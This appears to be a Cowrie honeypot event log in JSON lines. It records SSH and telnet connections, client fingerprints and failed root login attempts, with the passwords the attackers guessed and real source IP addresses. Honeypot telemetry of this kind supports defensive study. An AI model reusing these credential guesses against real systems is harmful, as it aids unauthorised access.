{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:9c:12:2e:8a:e6:33:69:18:17:fb:73:3b:0f:f0:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw7N+9vf22d2m/1mpW+/vR4nSMMfR4/ILSv3m5p1RhSjIWuGDmYDzu1iz9CgfrPfEgrwEDn+fHzXFK0TIgLdhGH5TTfqOSeS3B9MNh8FwVaMp6dHXBXw6NCD8kxb67pxY9RHeF8FCRozrDJbp6YYDv+XqzpUsL7i58x1dsddhAl8PyG+82EyU4YeQKYQfvYI8IEACG+zxmjtEcawa8MmngFK7HLADxpqEEvmusj3wsdFIUtLyT0P62ODsCIT16FjLXw9f/eHWRl6HBEX8tT+bwq30pK4D1rFg2L4E5V3OCkLdJ9MVJz7dKE+f3VLmLKhaVbWX/dIXBQCOdZbb0uEBFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:9c:12:2e:8a:e6:33:69:18:17:fb:73:3b:0f:f0:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.896897Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:9c:12:2e:8a:e6:33:69:18:17:fb:73:3b:0f:f0:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw7N+9vf22d2m/1mpW+/vR4nSMMfR4/ILSv3m5p1RhSjIWuGDmYDzu1iz9CgfrPfEgrwEDn+fHzXFK0TIgLdhGH5TTfqOSeS3B9MNh8FwVaMp6dHXBXw6NCD8kxb67pxY9RHeF8FCRozrDJbp6YYDv+XqzpUsL7i58x1dsddhAl8PyG+82EyU4YeQKYQfvYI8IEACG+zxmjtEcawa8MmngFK7HLADxpqEEvmusj3wsdFIUtLyT0P62ODsCIT16FjLXw9f/eHWRl6HBEX8tT+bwq30pK4D1rFg2L4E5V3OCkLdJ9MVJz7dKE+f3VLmLKhaVbWX/dIXBQCOdZbb0uEBFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.901159Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:f0:66:20:67:25:3d:d3:cf:18:db:17:37:40:09:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1FZF2ccSsmmCrSfo8gxef8lZkwDZx+Ej8losGMbJ2wqgRUOYa1u4rQRE7B6C9CiG/2sxlZN7KSP0Xl1RE6IEwvyDj0qd4sIcq1K0bXvlWBZzpcGw2DbDb3YDMhO0R1mvY1YMJbwz0RVG3mcf/gdHmhbMLBCJ+BE31GNvS4KlNF4V4nJ/q5d8mUJh/944t1aZwFcgwR4BuxSpCKDDg6zohV4vT1ycepncMnU9Z0arMVRi3O28of2gCpAdcHkNP4alwOum7qqfxRQSKseAQrM3IL2SXyX8LR19eqRM7/N1eRmDj5Udwlsrqwz49H93vuzIf1r2XbzIY3XEYcWBR606Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:f0:66:20:67:25:3d:d3:cf:18:db:17:37:40:09:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.985493Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:f0:66:20:67:25:3d:d3:cf:18:db:17:37:40:09:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1FZF2ccSsmmCrSfo8gxef8lZkwDZx+Ej8losGMbJ2wqgRUOYa1u4rQRE7B6C9CiG/2sxlZN7KSP0Xl1RE6IEwvyDj0qd4sIcq1K0bXvlWBZzpcGw2DbDb3YDMhO0R1mvY1YMJbwz0RVG3mcf/gdHmhbMLBCJ+BE31GNvS4KlNF4V4nJ/q5d8mUJh/944t1aZwFcgwR4BuxSpCKDDg6zohV4vT1ycepncMnU9Z0arMVRi3O28of2gCpAdcHkNP4alwOum7qqfxRQSKseAQrM3IL2SXyX8LR19eqRM7/N1eRmDj5Udwlsrqwz49H93vuzIf1r2XbzIY3XEYcWBR606Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.990838Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3IWy9fDLZcmseuuDrItzbS5FKLpdxAKMW9GuR/RPknMsyNMSncVz8oG7okzuLQ9b2I05WQO2hJrokkP1Ap0pYEC7sWFtEFbiGLc90lWF85l2x7wv3t0YiWp8BhDXSsEI6V+vYpxYqkK90n+KBlnove5Q2EMSql1xlCd+35DoDguB5hnMub6pCia9QttwsJgyKR7DhT7wkGCAvcxoTFk0yPGA8g08+YnjUSqDRA7SSwD0bLLzyRw9BiU1XPR6f4aU0NnBhKt8l7as8E+WSaaNZoSV8nNAq7/LEPrkaavZY51S0042jpPRfPSITKs4OXA/m5ASRPZtEJkJatWPdiSLmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:52.077755Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3IWy9fDLZcmseuuDrItzbS5FKLpdxAKMW9GuR/RPknMsyNMSncVz8oG7okzuLQ9b2I05WQO2hJrokkP1Ap0pYEC7sWFtEFbiGLc90lWF85l2x7wv3t0YiWp8BhDXSsEI6V+vYpxYqkK90n+KBlnove5Q2EMSql1xlCd+35DoDguB5hnMub6pCia9QttwsJgyKR7DhT7wkGCAvcxoTFk0yPGA8g08+YnjUSqDRA7SSwD0bLLzyRw9BiU1XPR6f4aU0NnBhKt8l7as8E+WSaaNZoSV8nNAq7/LEPrkaavZY51S0042jpPRfPSITKs4OXA/m5ASRPZtEJkJatWPdiSLmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:52.082009Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:52.166752Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.4841513633728,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:55.706972Z","src_ip":"192.119.13.58","session":"6986f5bf6584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2560afa51c8d","protocol":"telnet","message":"New connection: 192.119.13.58:57922 (10.17.0.5:23) [session: 2560afa51c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:01.399392Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58296,"dst_ip":"10.17.0.5","dst_port":23,"session":"430513c3a782","protocol":"telnet","message":"New connection: 192.119.13.58:58296 (10.17.0.5:23) [session: 430513c3a782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:12.169851Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ee93b75acd","protocol":"telnet","message":"New connection: 192.119.13.58:33650 (10.17.0.5:23) [session: 44ee93b75acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:13.459564Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":31960,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec01510e0ba1","protocol":"ssh","message":"New connection: 158.178.141.16:31960 (159.203.135.109:22) [session: ec01510e0ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:14.056391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:14.064987Z","src_ip":"158.178.141.16","session":"ec01510e0ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:14.276241Z","src_ip":"158.178.141.16","session":"ec01510e0ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wc123456","message":"login attempt [root/Wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:15.151981Z","src_ip":"158.178.141.16","session":"ec01510e0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:16.368196Z","src_ip":"158.178.141.16","session":"ec01510e0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":43282,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e4dd58a2b77","protocol":"telnet","message":"New connection: 186.195.16.41:43282 (159.203.135.109:23) [session: 8e4dd58a2b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:18.287225Z"}
{"eventid":"cowrie.session.closed","duration":2.6992740631103516,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:20.986360Z","src_ip":"186.195.16.41","session":"8e4dd58a2b77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41334,"dst_ip":"10.17.0.5","dst_port":22,"session":"052d17863902","protocol":"ssh","message":"New connection: 62.133.63.178:41334 (10.17.0.5:22) [session: 052d17863902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.175617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.180474Z","src_ip":"62.133.63.178","session":"052d17863902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.304889Z","src_ip":"62.133.63.178","session":"052d17863902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":39428,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd06c085254b","protocol":"ssh","message":"New connection: 102.223.92.101:39428 (159.203.135.109:22) [session: dd06c085254b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.416758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.425768Z","src_ip":"102.223.92.101","session":"dd06c085254b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.598786Z","src_ip":"102.223.92.101","session":"dd06c085254b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456b","message":"login attempt [root/123456b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:24.680928Z","src_ip":"62.133.63.178","session":"052d17863902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qw123456789","message":"login attempt [root/Qw123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:25.319491Z","src_ip":"102.223.92.101","session":"dd06c085254b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41506,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd66780783f","protocol":"telnet","message":"New connection: 192.119.13.58:41506 (10.17.0.5:23) [session: 4bd66780783f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:25.793370Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:25.808880Z","src_ip":"62.133.63.178","session":"052d17863902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:26.494353Z","src_ip":"102.223.92.101","session":"dd06c085254b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":52230,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fba3bb3fa35","protocol":"ssh","message":"New connection: 200.175.61.207:52230 (10.17.0.5:22) [session: 4fba3bb3fa35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:31.264107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:31.269502Z","src_ip":"200.175.61.207","session":"4fba3bb3fa35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.63303303718567,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:31.362845Z","src_ip":"192.119.13.58","session":"a989dc370965","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:31.417250Z","src_ip":"200.175.61.207","session":"4fba3bb3fa35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o00oo00o","message":"login attempt [root/o00oo00o] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:32.039815Z","src_ip":"200.175.61.207","session":"4fba3bb3fa35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:33.189672Z","src_ip":"200.175.61.207","session":"4fba3bb3fa35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47548,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ca47ba2ffa","protocol":"ssh","message":"New connection: 103.77.242.62:47548 (10.17.0.5:22) [session: 04ca47ba2ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:36.198063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:36.203152Z","src_ip":"103.77.242.62","session":"04ca47ba2ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:36.444044Z","src_ip":"103.77.242.62","session":"04ca47ba2ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"justin","message":"login attempt [root/justin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:37.167709Z","src_ip":"103.77.242.62","session":"04ca47ba2ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:38.411600Z","src_ip":"103.77.242.62","session":"04ca47ba2ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.85789227485657,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:41.257147Z","src_ip":"192.119.13.58","session":"2560afa51c8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67653751373291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:44.135984Z","src_ip":"192.119.13.58","session":"44ee93b75acd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":43102,"dst_ip":"159.203.135.109","dst_port":22,"session":"c297a20cfa13","protocol":"ssh","message":"New connection: 49.51.202.114:43102 (159.203.135.109:22) [session: c297a20cfa13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:44.599151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:44.607352Z","src_ip":"49.51.202.114","session":"c297a20cfa13","protocol":"ssh"}
